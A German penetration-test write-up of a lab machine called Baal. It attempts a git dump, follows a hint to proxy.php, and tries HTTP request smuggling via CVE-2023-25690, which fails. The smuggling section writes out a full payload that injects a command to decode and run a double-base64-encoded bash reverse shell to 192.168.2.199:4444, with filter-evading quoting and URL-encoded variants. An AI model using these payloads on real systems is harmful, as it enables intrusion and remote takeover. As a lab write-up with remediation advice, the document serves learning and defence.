**Analyse:** Das Tool `git-dumper` wird verwendet, um das Repository von `http://baal.nyx/mod/.git` in das aktuelle Verzeichnis (`.`) herunterzuladen. `git-dumper` testet zuerst die Erreichbarkeit der `HEAD`-Datei. Es erhält zwar einen `200 OK`-Status, stellt aber fest, dass die Antwort HTML ist (`responded with HTML`), anstatt des erwarteten reinen Textinhalts der `HEAD`-Datei. Dies führt dazu, dass `git-dumper` den Vorgang abbricht, da es das Repository nicht korrekt interpretieren kann.
**Bewertung:** Der Versuch, das `.git`-Repository automatisch herunterzuladen, ist fehlgeschlagen. Der Server scheint den direkten Zugriff auf die `.git`-Dateien zu modifizieren oder umzuleiten, sodass sie als HTML ausgeliefert werden, was `git-dumper` verwirrt.
**Empfehlung (Pentester):** Manuell versuchen, einzelne wichtige Dateien aus dem `.git`-Verzeichnis herunterzuladen (`/.git/HEAD`, `/.git/config`, `/.git/index`, `/.git/logs/HEAD`, etc.) und prüfen, ob der Inhalt extrahiert werden kann. Untersuchen, warum der Server HTML zurückgibt (vielleicht eine benutzerdefinierte Fehlerseite oder ein Rewrite-Mechanismus). **Empfehlung (Admin):** Auch wenn der automatische Dump fehlschlägt, bleibt das Risiko bestehen. Das `.git`-Verzeichnis muss unzugänglich gemacht werden.
insgesamt 12 drwxr-xr-x 3 root root 4096 9. Sep 22:21 . drwxr-xr-x 3 root root 4096 9. Sep 22:21 .. drwxr-xr-x 2 root root 4096 9. Sep 22:21 .git
**Analyse:** `ls -la` wird in dem Verzeichnis ausgeführt, in das `git-dumper` schreiben sollte. Es zeigt, dass ein leeres `.git`-Verzeichnis erstellt wurde, aber keine Inhalte heruntergeladen wurden.
**Bewertung:** Bestätigt das Scheitern von `git-dumper`.
**Empfehlung (Pentester):** Siehe vorherige Empfehlung (manueller Download-Versuch). **Empfehlung (Admin):** Keine Aktion erforderlich.
# (Keine Ausgabe, Verzeichniswechsel)
**Analyse:** Wechsel in das leere `.git`-Verzeichnis.
**Bewertung:** Standard-Navigation.
**Empfehlung (Pentester):** Bestätigen, dass das Verzeichnis leer ist.
insgesamt 8 drwxr-xr-x 2 root root 4096 9. Sep 22:21 . drwxr-xr-x 3 root root 4096 9. Sep 22:21 ..
**Analyse:** `ls -la` bestätigt, dass das `.git`-Verzeichnis außer den Standardeinträgen `.` und `..` leer ist.
**Bewertung:** Endgültige Bestätigung des `git-dumper`-Fehlers.
**Empfehlung (Pentester):** Manuellen Download versuchen.
Manuelles Abrufen der `.git/HEAD`-Datei mit `curl`.
Welcome to the system .git! You ID is: 44< Verify connectivity Usage: http://baal.vulnyx/proxy.php?ping=127.0.0.1 Output
**Analyse:** `curl` wird verwendet, um den Inhalt von `http://baal.nyx/mod/.git/HEAD` abzurufen. Statt des erwarteten Inhalts (z.B. `ref: refs/heads/main`) wird eine HTML-ähnliche Nachricht zurückgegeben: "Welcome to the system .git! You ID is: 44". Es enthält auch einen Hinweis auf eine andere URL: `http://baal.vulnyx/proxy.php?ping=127.0.0.1`.
**Bewertung:** Dies bestätigt, warum `git-dumper` fehlgeschlagen ist. Der Server liefert nicht den tatsächlichen Inhalt der `.git`-Dateien, sondern eine benutzerdefinierte Seite. Diese Seite gibt jedoch zwei wichtige Hinweise: 1. Eine ID (`44`). 2. Einen neuen Hostnamen (`baal.vulnyx`) und einen Pfad (`/proxy.php`) mit einem `ping`-Parameter, der auf eine mögliche SSRF (Server-Side Request Forgery) oder Command Injection Schwachstelle hindeutet.
**Empfehlung (Pentester):** Den neuen Hostnamen `baal.vulnyx` zur `/etc/hosts`-Datei hinzufügen. Die URL `http://baal.vulnyx/proxy.php?ping=...` untersuchen und auf SSRF oder Command Injection testen. Die Bedeutung der ID `44` ist unklar, aber notieren. **Empfehlung (Admin):** Den Mechanismus untersuchen, der den Zugriff auf `.git`-Dateien abfängt und diese benutzerdefinierte Seite anzeigt. Sicherstellen, dass `proxy.php` sicher implementiert ist und keine SSRF- oder Command-Injection-Angriffe ermöglicht. Das `.git`-Verzeichnis unzugänglich machen.
Der neue Hostname `baal.vulnyx` wird zur lokalen `/etc/hosts`-Datei hinzugefügt.
# Inhalt der /etc/hosts Datei nach der Bearbeitung:
127.0.0.1 localhost
192.168.2.118 baal.nyx baal.vulnyx
**Analyse:** Die `/etc/hosts`-Datei wird bearbeitet, um die IP `192.168.2.118` auch dem Hostnamen `baal.vulnyx` zuzuordnen.
**Bewertung:** Notwendiger Schritt, um die im vorherigen Schritt entdeckte URL `http://baal.vulnyx/proxy.php` aufrufen zu können.
**Empfehlung (Pentester):** Nun die `proxy.php`-URL testen. **Empfehlung (Admin):** Keine Aktion erforderlich.
Versuch, die `proxy.php`-Seite aufzurufen.
Not Found
The requested URL was not found on this server.
**Analyse:** Ein GET-Request wird an `http://baal.vulnyx/proxy.php?ping=127.0.0.1` gesendet. Der Server antwortet jedoch mit `404 Not Found`.
**Bewertung:** Enttäuschend. Obwohl die `.git/HEAD`-Seite auf diese URL verwiesen hat, existiert sie anscheinend nicht direkt unter dem Hostnamen `baal.vulnyx`. Dies könnte bedeuten: 1. Der Pfad ist falsch. 2. Die Datei `proxy.php` existiert nur unter bestimmten Bedingungen oder über einen anderen Mechanismus (z.B. interner Proxy). 3. Die Information aus der `.git/HEAD`-Seite war irreführend oder Teil einer Falle.
**Empfehlung (Pentester):** Erneut Verzeichnis-Scans auf `baal.vulnyx` durchführen. Prüfen, ob `proxy.php` vielleicht unter `/mod/` liegt (`http://baal.vulnyx/mod/proxy.php`). Nach Hinweisen auf HTTP Request Smuggling suchen, da dies manchmal verwendet wird, um auf normalerweise nicht erreichbare Backend-Pfade zuzugreifen. **Empfehlung (Admin):** Den Verweis auf `proxy.php` in der `.git/HEAD`-Antwort untersuchen. Wenn die Datei nicht existieren soll, den Verweis entfernen. Wenn sie existiert, sicherstellen, dass sie korrekt erreichbar und sicher ist.
Recherche und Vorbereitung eines HTTP Request Smuggling Angriffs (CVE-2023-25690).
: HTTP Request Smuggling Angriff ( info ) [Link: https://github.com/dhmosfunk/CVE-2023-25690-POC | Ziel: https://github.com/dhmosfunk/CVE-2023-25690-POC] CVE 2023 25690 Proof of concept - mod_proxy vulnerable configuration on Apache HTTP Server versions 2.4.0 - 2.4.55 leads to HTTP Request Smuggling vulnerability. ( info ) HTTP-Schmuggel existiert: CVE-2023-25690 Erstellen Sie den Host-Header durch CRLF-Injection, befolgen Sie die Anweisungen zum Erstellen des Hosts baal.vulnyx, URI: Proxy.php?ping=127.0.0.1, und fügen Sie eine RCE-Nutzlast hinzu Ersetzen Sie die erste Zeile der http-Anfrage durch die folgende Payload: GET /mod/test/%20HTTP/1.1%0D%0AHost:%20baal.vulnyx%0D%0A%0D%0AGET%20/proxy.php%3Fping%3D127.0.0.1/%3Becho%24%7BIFS%7DWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE9USXVNVFk0TGpFdU1USTVMelEwTkRRZ01ENG1NUT09%7Cba''se''6''4%24%7BIFS%7D-''d%7Cba''se''64%24%7BIFS%7D-''d%7Cb''a''s''h%3B/ HTTP/1.1 GET/mod/test/ HTTP/1.1 Host: baal.vulnyx GET /proxy.php?ping=127.0.0.1/;echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE9USXVNVFk0TGpJdU1UazVMelEwTkRRZ01ENG1NUT09|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h;/HTTP/1.1 Payload = bash -i >& /dev/tcp/192.168.2.199/4444 0>&1 Payload 2x base64 encoded = WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE9USXVNVFk0TGpFdU1USTVMelEwTkRRZ01ENG1NUT09 Burpcode = GET /proxy.php?ping=127.0.0.1 /;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xTIuMTY4LjIuMTk5LzQ0NDQgMD4mMQ|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h;/ HTTP/1.1 Burpcode URLencoded = GET%20%2Fproxy.php%3Fping%3D127.0.0.1%0A%2F%3Becho%24%7BIFS%7DYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xTIuMTY4LjIuMTk5LzQ0NDQgMD4mMQ%3D%3D%7Cba%27%27se%27%276%27%274%24%7BIFS%7D-%27%27d%7Cba%27%27se%27%2764%24%7BIFS%7D-%27%27d%7Cb%27%27a%27%27s%27%27h%3B%2F%20HTTP%2F1.1
**Analyse:** Hier werden Notizen und Rechercheergebnisse zum Thema HTTP Request Smuggling (HRS) im Zusammenhang mit CVE-2023-25690 festgehalten. * Die Apache-Version 2.4.55 des Ziels fällt in den verwundbaren Bereich für diese CVE bei anfälliger `mod_proxy`-Konfiguration. * Die Idee ist, über eine manipulierte erste Zeile eines HTTP-Requests (URL-kodierte CRLF-Injection: `%0D%0A`) einen zweiten, geschmuggelten Request einzuschleusen. * Der geschmuggelte Request soll an den Host `baal.vulnyx` und den Pfad `/proxy.php` gehen. * Es wird versucht, über den `ping`-Parameter eine Command Injection durchzuführen. Der Payload `echo${IFS}YmFzaCA... | base64 -d | base64 -d | bash` soll eine doppelt Base64-kodierte Reverse Shell (`bash -i >& /dev/tcp/192.168.2.199/4444 0>&1`) dekodieren und ausführen. Die umständliche Kodierung und die `ba''se''6''4`-Schreibweise dienen der Umgehung von Filtern. * Verschiedene Versionen des Payloads (Roh, URL-kodiert) werden notiert, vermutlich für die Verwendung in Burp Suite.
**Bewertung:** Dies ist ein fortgeschrittener Angriffsversuch, der auf einer spezifischen Apache-Schwachstelle (CVE-2023-25690) und der Vermutung basiert, dass `mod_proxy` so konfiguriert ist, dass der Host `baal.vulnyx` und der Pfad `proxy.php` intern erreichbar sind und dass `proxy.php` für Command Injection anfällig ist. Der Ansatz ist komplex und fehleranfällig.
**Empfehlung (Pentester):** Den vorbereiteten Payload sorgfältig mit einem Tool wie Burp Suite Repeater senden und die Antwort des Servers analysieren. Einen Netcat-Listener auf `192.168.2.199:4444` starten, um die eingehende Reverse Shell abzufangen. Wenn der Angriff fehlschlägt, die verschiedenen Teile des Payloads überprüfen (URL-Kodierung, Base64-Kodierung, Shell-Befehl). **Empfehlung (Admin):** Apache auf eine Version >= 2.4.56 aktualisieren, um CVE-2023-25690 zu beheben. `mod_proxy`-Konfigurationen überprüfen und absichern. Eingabevalidierung in `proxy.php` (falls existent) implementieren, um Command Injection zu verhindern.
Analyse der Requests und Responses mit Burp Suite während des Angriffsversuchs.
:Request (Beispielhaft, nicht der Smuggling Versuch): GET /mod/.git/ben HTTP/1.1 Host: baal.vulnyx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web p,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-GPC: 1 :Response (Beispielhaft): HTTP/1.1 200 OK Date: Mon, 09 Sep 2024 21:03:25 GMT Server: Apache/2.4.54 (Debian) X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding Content-Length: 151 Content-Type: text/html; charset=UTF-8 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Welcome to the system .git! You ID is: 61 Verify connectivity Usage: http://baal.vulnyx/proxy.php?ping=127.0.0.1 Output :Request (Smuggling Versuch - Payload in der ersten Zeile): GET%20%2Fproxy.php%3Fping%3D127.0.0.1%0A%2F%3Becho%24%7BIFS%7DYmFzaCAtaSA%2BJiAvZG V2L3RjcC8xTIuMTY4LjIuMTk5LzQ0NDQgMD4mMQ%3D%3D%7Cba%27%27se%27%276%27%274%24%7BIFS %7D-%27%27d%7Cba%27%27se%27%2764%24%7BIFS%7D-%27%27d%7Cb%27%27a%27%27s%27%27h%3B%2 F%20HTTP%2F1.1 Host: baal.vulnyx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web p,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-GPC: 1 :Response (Smuggling Versuch): HTTP/1.1 400 Bad Request Date: Mon, 09 Sep 2024 21:29:12 GMT Server: Apache/2.4.55 (Unix) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1Bad Request
Your browser sent a request that this server could not understand.
**Analyse:** Die Burp Suite-Logs zeigen: 1. Ein normaler Request an `/mod/.git/ben` (wahrscheinlich ein Test) auf `baal.vulnyx` liefert eine `200 OK`-Antwort mit dem gleichen Inhalt wie zuvor bei `curl http://baal.nyx/mod/.git/HEAD`, allerdings mit einer anderen ID (`61` statt `44`) und einem anderen Server-Banner (`Apache/2.4.54 (Debian)` statt `Apache/2.4.55 (Unix)`). Dies verstärkt die Vermutung eines Reverse Proxys oder einer inkonsistenten Konfiguration. 2. Der Request Smuggling Versuch, bei dem der lange, URL-kodierte Payload als Request-Ziel in der ersten Zeile gesendet wird, führt zu einem `HTTP/1.1 400 Bad Request`. Der Server konnte diese manipulierte Anfrage nicht verstehen.
**Bewertung:** Der HTTP Request Smuggling Angriff ist fehlgeschlagen. Der Server hat die manipulierte erste Zeile nicht wie erwartet verarbeitet, um den zweiten Request zu schmuggeln. Die Gründe können vielfältig sein: CVE-2023-25690 ist nicht vorhanden oder nicht ausnutzbar konfiguriert, der Payload war fehlerhaft, oder der (vermutete) Reverse Proxy verhindert den Angriff. Die wechselnden Server-Banner und IDs machen die Situation zusätzlich undurchsichtig.
**Empfehlung (Pentester):** Den Request Smuggling Angriff mit anderen Payloads oder Techniken erneut versuchen (z.B. CL.TE statt TE.CL, falls zutreffend). Untersuchen, ob der Host `baal.vulnyx` anders reagiert als `baal.nyx`. Die unterschiedlichen Server-Banner und IDs analysieren – deutet dies auf Load Balancing hin? Andere Schwachstellen im `/mod`-Verzeichnis suchen. **Empfehlung (Admin):** Apache patchen (falls noch nicht geschehen). Konfigurationen von Reverse Proxies und Apache auf Konsistenz und Sicherheit überprüfen. Sicherstellen, dass keine verwundbaren `mod_proxy`-Konfigurationen existieren.
Fehlermeldungen und abschließende Bewertung des erfolglosen Angriffs.
Es funktioniert leider nicht mehr... Fehlermeldung bei Burp und der Website: http://baal.vulnyx/mod/test Not Found The requested URL was not found on this server. Burp: HTTP/1.1 400 Bad Request normal müssten wir hier eine RCE aufbauen können... : BurpSuite Analyse Ende : Wir müssen hier abbrechen...
**Analyse:** Die abschließenden Notizen fassen die Fehlversuche zusammen. Der direkte Aufruf von `/mod/test` (Teil des Smuggling-Payloads) führt zu `404 Not Found`. Der Smuggling-Versuch selbst führte zu `400 Bad Request`. Der Pentester stellt fest, dass der erwartete Remote Code Execution (RCE) über diesen Weg nicht erreicht werden konnte und der Test an dieser Stelle abgebrochen werden muss.
**Bewertung:** Trotz gründlicher Enumeration und verschiedener Angriffsversuche (SSH Brute-Force, Git-Dump, HTTP Request Smuggling) konnte kein initialer Zugriff auf das System erlangt werden. Die exponierten `.git`-Informationen und der Hinweis auf `proxy.php` waren vielversprechend, führten aber in eine Sackgasse oder erforderten komplexere Techniken, die hier nicht erfolgreich waren.
**Empfehlung (Pentester):** Den Testbericht mit den Ergebnissen abschließen. Mögliche nächste Schritte könnten sein: Tiefere Analyse des Webservers (manuelles Testen von Parametern in `/mod/`), Ausnutzung von Client-Side-Schwachstellen (XSS, falls vorhanden), Social Engineering oder Suche nach komplett anderen Angriffsvektoren (falls im Scope). **Empfehlung (Admin):** Obwohl kein Einbruch erfolgte, wurden Schwachstellen und Fehlkonfigurationen aufgedeckt (exponiertes `.git`, aktivierte `TRACE`-Methode, inkonsistente Server-Banner, potenziell unsichere `proxy.php`-Referenz, veraltete Apache-Version bezüglich CVE-2023-25690). Diese sollten behoben werden: `.git` unzugänglich machen, `TraceEnable Off`, Konfiguration prüfen, Apache patchen.
**Bewertung:** Der Penetrationstest der Maschine "Baal" offenbarte mehrere potenzielle Angriffspunkte, darunter offene SSH- und HTTP-Ports (auch über IPv6), eine aktivierte TRACE-Methode und Hinweise auf ein exponiertes Git-Repository sowie eine potenziell verwundbare `proxy.php`-Datei. Ein Versuch, die bekannte Schwachstelle CVE-2023-25690 (HTTP Request Smuggling) auszunutzen, scheiterte jedoch, ebenso wie Versuche, das Git-Repository automatisch zu extrahieren oder sich per SSH mittels Brute-Force Zugang zu verschaffen (da Passwort-Authentifizierung deaktiviert war). Trotz intensiver Enumeration konnte kein initialer Zugriff auf das System erlangt werden. Die identifizierten Fehlkonfigurationen (exponiertes `.git`, TRACE) sollten dennoch behoben werden.
Während dieses Penetrationstests konnten keine User- oder Root-Flags gefunden werden, da kein initialer Zugriff oder Privilege Escalation erreicht wurde.